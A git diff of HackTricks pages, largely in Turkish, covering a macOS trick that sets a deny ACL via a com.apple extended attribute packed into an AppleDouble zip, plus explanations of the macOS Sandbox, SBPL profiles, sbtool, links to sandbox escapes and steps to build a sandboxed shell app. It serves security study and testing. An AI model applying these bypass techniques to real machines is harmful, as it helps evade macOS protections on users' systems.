- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
get_acls kodu @@ -61,47 +67,103 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` - -\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\` - +``` +
+```bash +# Lets add the xattr com.apple.xxx.xxxx with the acls +mkdir start +mkdir start/protected +./set_xattr start/protected +echo something > start/protected/something +```
set_xattr Kodu +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) { +printf("%s: ", name); +ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +continue; +} -char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; } +char *value = malloc(valuelen + 1); +if (value == NULL) { +perror("malloc"); +continue; +} -valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; } +valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW); +if (valuelen < 0) { +perror("getxattr"); +free(value); +continue; +} -value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); } +value[valuelen] = '\0'; // Null-terminate the value +printf("%s\n", value); +free(value); +} -free(buf); } +free(buf); +} -int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; } -const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1]; +int main(int argc, char *argv[]) { +if (argc != 2) { +fprintf(stderr, "Usage: %s \n", argv[0]); +return 1; +} -int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; } +const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; +const char *filepath = argv[1]; -print\_xattrs(filepath); +int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); +if (result == 0) { +printf("Extended attribute set successfully.\n\n"); +} else { +perror("setxattr"); +return 1; +} -return 0; } +print_xattrs(filepath); -```` +return 0; +} +```
-
- +{% code overflow="wrap" %} ```bash # Create appledoublefile with the xattr entitlement ditto -c -k start protected.zip @@ -115,10 +177,24 @@ rm -rf protected.zip zip -r protected.zip protected ._protected rm -rf protected rm ._* -```` +``` +{% endcode %} +```bash +# Check if it worked +ditto -x -k --rsrc protected.zip . +xattr -l protected +``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) -\`\`\`bash # Check if it worked ditto -x -k --rsrc protected.zip . xattr -l protected \`\`\` +
+HackTricks'i Destekleyin +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index d98d7b860..0f1399e24 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -1,35 +1,36 @@ # macOS Sandbox +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Support HackTricks -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Temel Bilgiler +## Basic Information -MacOS Sandbox (başlangıçta Seatbelt olarak adlandırılır) **kum havuzu içinde çalışan uygulamaları** Sandbox profilinde belirtilen **izin verilen eylemlerle sınırlar**. Bu, **uygulamanın yalnızca beklenen kaynaklara erişeceğini** sağlamaya yardımcı olur. +MacOS Sandbox (ilk adı Seatbelt) **sandbox içinde çalışan uygulamaları** **uygulamanın çalıştığı Sandbox profilinde belirtilen izin verilen eylemlerle** **sınırlar**. Bu, **uygulamanın yalnızca beklenen kaynaklara erişmesini** sağlamaya yardımcı olur. -**`com.apple.security.app-sandbox`** yetkisi olan herhangi bir uygulama Sandbox içinde çalıştırılır. **Apple ikili dosyaları** genellikle bir Sandbox içinde çalıştırılır ve **App Store'da yayınlamak için bu yetki zorunludur**. Bu nedenle, çoğu uygulama Sandbox içinde çalıştırılır. +**`com.apple.security.app-sandbox`** **yetkisine** sahip herhangi bir uygulama sandbox içinde çalıştırılacaktır. **Apple ikili dosyaları** genellikle bir Sandbox içinde çalıştırılır ve **App Store**'da yayınlamak için **bu yetki zorunludur**. Bu nedenle, çoğu uygulama sandbox içinde çalıştırılacaktır. -Bir işlemin ne yapabileceğini veya yapamayacağını kontrol etmek için **Sandbox, çekirdek üzerindeki tüm sistem çağrılarında kancalar** bulundurur. Uygulamanın yetkilerine bağlı olarak Sandbox belirli eylemlere izin verecektir. +Bir sürecin ne yapabileceğini veya ne yapamayacağını kontrol etmek için **Sandbox, çekirdek boyunca tüm syscalls'da** **kancalara** sahiptir. Uygulamanın **yetkilerine** bağlı olarak Sandbox belirli eylemleri **izin verir**. Sandbox'ın bazı önemli bileşenleri şunlardır: -* **Çekirdek uzantısı** `/System/Library/Extensions/Sandbox.kext` -* **Özel çerçeve** `/System/Library/PrivateFrameworks/AppSandbox.framework` +* **çekirdek uzantısı** `/System/Library/Extensions/Sandbox.kext` +* **özel çerçeve** `/System/Library/PrivateFrameworks/AppSandbox.framework` * Kullanıcı alanında çalışan bir **daemon** `/usr/libexec/sandboxd` -* **Konteynerler** `~/Library/Containers` +* **kapsayıcılar** `~/Library/Containers` -Konteynerler klasörü içinde, her biri sandbox içinde çalıştırılan uygulama için **bundle kimliğiyle adlandırılmış bir klasör** bulabilirsiniz: +Kapsayıcılar klasörü içinde, **sandbox içinde çalıştırılan her uygulama için bir klasör** bulabilirsiniz ve bu klasörün adı bundle id'sidir: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -Her bir bundle id klasörü içinde, Uygulamanın **plist** ve **Veri dizini** bulunur: +Her bir bundle id klasörünün içinde **plist** ve uygulamanın **Data dizini** bulunabilir: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -Unutmayın ki, sembolik bağlantılar Sandbox'tan "kaçmak" ve diğer klasörlere erişmek için olsa bile, Uygulamanın hala bunlara erişmek için **izinlere** sahip olması gerekmektedir. Bu izinler **`.plist`** içinde bulunur. +Not edin ki, symlinkler Sandbox'tan "kaçmak" ve diğer klasörlere erişmek için orada olsa da, Uygulamanın yine de onlara erişim için **izinlere sahip olması** gerekir. Bu izinler **`.plist`** dosyasının içindedir. {% endhint %} ```bash # Get permissions @@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -Sandbox uygulaması tarafından oluşturulan/değiştirilen her şey **karantina özelliği**ne sahip olacaktır. Bu, sandbox uygulamasının **`open`** ile bir şeyi çalıştırmaya çalıştığında Gatekeeper'ı tetikleyerek bir sandbox alanını önleyecektir. +Sandboxed bir uygulama tarafından oluşturulan/değiştirilen her şey **karantina niteliği** alacaktır. Bu, sandbox uygulaması **`open`** ile bir şey çalıştırmaya çalıştığında Gatekeeper'ı tetikleyerek bir sandbox alanını engelleyecektir. {% endhint %} ### Sandbox Profilleri -Sandbox profilleri, o **Sandbox** içinde neyin **izinli/yasaklı** olduğunu belirten yapılandırma dosyalarıdır. Bu, **Sandbox Profil Dili (SBPL)** kullanır ve [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programlama dilini kullanır. +Sandbox profilleri, o **Sandbox** içinde neyin **izin verileceğini/yasaklanacağını** belirten yapılandırma dosyalarıdır. **Sandbox Profil Dili (SBPL)** kullanır ve bu dil [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programlama dilini temel alır. -İşte bir örnek bulabilirsiniz: +Burada bir örnek bulabilirsiniz: ```scheme (version 1) ; First you get the version @@ -140,25 +141,27 @@ Sandbox profilleri, o **Sandbox** içinde neyin **izinli/yasaklı** olduğunu be ) ``` {% hint style="success" %} -Daha fazla izin verilen veya reddedilen eylemi kontrol etmek için bu [**araştırmayı**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) kontrol edin. +Bu [**araştırmaya**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **izin verilebilecek veya reddedilebilecek daha fazla eylemi kontrol etmek için bakın.** {% endhint %} -Önemli **sistem hizmetleri** de kendi özel **sandbox**'larında çalışır, örneğin `mdnsresponder` hizmeti. Bu özel **sandbox profillerini** şurada görebilirsiniz: +Önemli **sistem hizmetleri** kendi özel **sandbox**'larında çalışır, örneğin `mdnsresponder` hizmeti. Bu özel **sandbox profillerini** şu konumda görüntüleyebilirsiniz: * **`/usr/share/sandbox`** -* **`/System/Library/Sandbox/Profiles`** +* **`/System/Library/Sandbox/Profiles`** * Diğer sandbox profilleri [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) adresinde kontrol edilebilir. -**App Store** uygulamaları **`/System/Library/Sandbox/Profiles/application.sb`** profili kullanır. Bu profilde, **`com.apple.security.network.server`** gibi yetkilendirmelerin bir işlemin ağı kullanmasına izin verdiğini kontrol edebilirsiniz. +**App Store** uygulamaları **`/System/Library/Sandbox/Profiles/application.sb`** **profilini** kullanır. Bu profilde **`com.apple.security.network.server`** gibi yetkilendirmelerin bir sürecin ağı kullanmasına nasıl izin verdiğini kontrol edebilirsiniz. -SIP, /System/Library/Sandbox/rootless.conf dosyasında platform\_profile adlı bir Sandbox profili olarak adlandırılır. +SIP, /System/Library/Sandbox/rootless.conf içinde platform\_profile olarak adlandırılan bir Sandbox profilidir. -### Sandbox Profili Örnekleri +### Sandbox Profil Örnekleri -Bir uygulamayı **belirli bir sandbox profiliyle** başlatmak için şunu kullanabilirsiniz: +Belirli bir **sandbox profili** ile bir uygulamayı başlatmak için şunu kullanabilirsiniz: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` +{% tabs %} +{% tab title="touch" %} {% code title="touch.sb" %} ```scheme (version 1) @@ -192,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs ; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data / ``` +{% endcode %} + {% code title="touch3.sb" %} ```scheme (version 1) @@ -206,50 +211,50 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -Not edin ki **Windows** üzerinde çalışan **Apple tarafından yazılan yazılımların ek güvenlik önlemleri** gibi uygulama sandboxlama gibi ek güvenlik önlemleri yoktur. +Not edin ki **Apple tarafından yazılmış** **yazılım**, **Windows** üzerinde **ek güvenlik önlemlerine** sahip değildir, örneğin uygulama sandboxing. {% endhint %} -Bypass örnekleri: +Atlatma örnekleri: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sandbox dışında `~$` ile başlayan dosyalar yazabiliyorlar). +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (sandbox dışına `~$` ile başlayan dosyalar yazabiliyorlar). ### MacOS Sandbox Profilleri macOS, sistem sandbox profillerini iki konumda saklar: **/usr/share/sandbox/** ve **/System/Library/Sandbox/Profiles**. -Ve eğer üçüncü taraf bir uygulama _**com.apple.security.app-sandbox**_ yetkisine sahipse, sistem o işlem için **/System/Library/Sandbox/Profiles/application.sb** profilini uygular. +Ve eğer bir üçüncü taraf uygulama _**com.apple.security.app-sandbox**_ yetkisine sahipse, sistem bu süreç için **/System/Library/Sandbox/Profiles/application.sb** profilini uygular. ### **iOS Sandbox Profili** -Varsayılan profil **container** olarak adlandırılır ve SBPL metin temsilini kullanmıyoruz. Bellekte, bu sandbox her izin için Allow/Deny ikili ağacı olarak temsil edilir. +Varsayılan profil **container** olarak adlandırılır ve SBPL metin temsiline sahip değiliz. Bellekte, bu sandbox, sandbox'tan her izin için Allow/Deny ikili ağacı olarak temsil edilir. -### Hata Ayıklama ve Sandbox'ı Atlatma +### Debug & Sandbox'ı Atlatma -macOS'ta, iOS'tan farklı olarak, işlemler çekirdek tarafından baştan itibaren sandbox'a alınmaz, **işlemler kendilerini sandbox'a dahil etmek için aktif olarak seçmelidir**. Bu, macOS'ta bir işlemin sandbox tarafından kısıtlanmadığı anlamına gelir, ta ki aktif olarak içine girmeye karar verene kadar. +macOS'ta, iOS'tan farklı olarak, süreçler başlangıçta çekirdek tarafından sandbox'a alınmaz, **süreçlerin kendilerinin sandbox'a katılmayı seçmesi gerekir**. Bu, macOS'ta bir sürecin, aktif olarak girmeye karar vermediği sürece sandbox tarafından kısıtlanmadığı anlamına gelir. -İşlemler, `com.apple.security.app-sandbox` yetkisine sahipse, kullanıcı alanından başladıklarında otomatik olarak sandbox'a alınır. Bu işlem hakkında ayrıntılı bir açıklama için şuna bakın: +Süreçler, `com.apple.security.app-sandbox` yetkisine sahip olduklarında kullanıcı alanından otomatik olarak sandbox'a alınır. Bu sürecin detaylı açıklaması için kontrol edin: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) {% endcontent-ref %} -### **PID Yetkilerini Kontrol Etme** +### **PID Yetkilerini Kontrol Et** -[**Buna göre**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (bir `__mac_syscall`), belirli bir PID'deki sandbox tarafından bir işlemin izin verilip verilmediğini kontrol edebilir. +[**Buna göre**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (bu bir `__mac_syscall`), belirli bir PID'de **bir işlemin izinli olup olmadığını** kontrol edebilir. -[**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) aracı, bir PID'nin belirli bir eylemi gerçekleştirebilip gerçekleştiremeyeceğini kontrol edebilir. +[**sbtool aracı**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c), bir PID'nin belirli bir eylemi gerçekleştirip gerçekleştiremeyeceğini kontrol edebilir: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### App Store uygulamalarında özel SBPL +### App Store uygulamalarında Özel SBPL -Şirketlerin uygulamalarını varsayılan yerine **özel Sandbox profilleriyle** çalıştırması mümkün olabilir. Bunun için Apple tarafından yetkilendirilmesi gereken **`com.apple.security.temporary-exception.sbpl`** yetkisi kullanılması gerekmektedir. +Şirketlerin uygulamalarını **özel Sandbox profilleriyle** çalıştırmaları mümkün olabilir (varsayılan olan yerine). Bunun için Apple tarafından yetkilendirilmesi gereken **`com.apple.security.temporary-exception.sbpl`** yetkisini kullanmaları gerekir. -Bu yetkinliğin tanımını **`/System/Library/Sandbox/Profiles/application.sb:`** dosyasında kontrol etmek mümkündür. +Bu yetkinin tanımını **`/System/Library/Sandbox/Profiles/application.sb:`** dosyasında kontrol etmek mümkündür. ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -257,18 +262,19 @@ Bu yetkinliğin tanımını **`/System/Library/Sandbox/Profiles/application.sb:` (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -Bu, bu yetkiye sahip bir dizeyi Sandbox profili olarak değerlendirecektir. +Bu, **bu yetki sonrasındaki dizeyi** bir Sandbox profili olarak **değerlendirecektir**. + +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index 8ace2c6c4..d4b3dc1f2 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,20 +1,21 @@ -# macOS Default Sandbox Debug +# macOS Varsayılan Sandbox Hatası Ayıklama + +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahramana dönüştürmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} -Bu sayfada, varsayılan macOS kum sandbox'ından herhangi bir komutu başlatmak için bir uygulama nasıl oluşturulacağını bulabilirsiniz: +Bu sayfada, varsayılan macOS sandbox'ından içeriye rastgele komutlar gönderen bir uygulama nasıl oluşturulacağını bulabilirsiniz: 1. Uygulamayı derleyin: @@ -50,10 +51,9 @@ return 0; ``` {% endcode %} -Bunu derlemek için şunu çalıştırın: `clang -framework Foundation -o SandboxedShellApp main.m` +Bunu çalıştırarak derleyin: `clang -framework Foundation -o SandboxedShellApp main.m` 2. `.app` paketini oluşturun - ```bash mkdir -p SandboxedShellApp.app/Contents/MacOS mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/ @@ -75,11 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` - -3. Yetkilendirmeleri tanımlayın +3. Yetkilileri tanımlayın {% tabs %} -{% tab title="undefined" %} +{% tab title="sandbox" %} ```bash cat << EOF > entitlements.plist @@ -94,7 +93,7 @@ EOF ``` {% endtab %} -{% tab title="sandbox + indirmeler" %} +{% tab title="sandbox + downloads" %} ```bash cat << EOF > entitlements.plist @@ -112,8 +111,7 @@ EOF {% endtab %} {% endtabs %} -4. Uygulamayı imzalayın (anahtar zincirinde bir sertifika oluşturmanız gerekmektedir) - +4. Uygulamayı imzalayın (anahtar zincirinde bir sertifika oluşturmanız gerekiyor) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp @@ -121,17 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a # An d in case you need this in the future codesign --remove-signature SandboxedShellApp.app ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
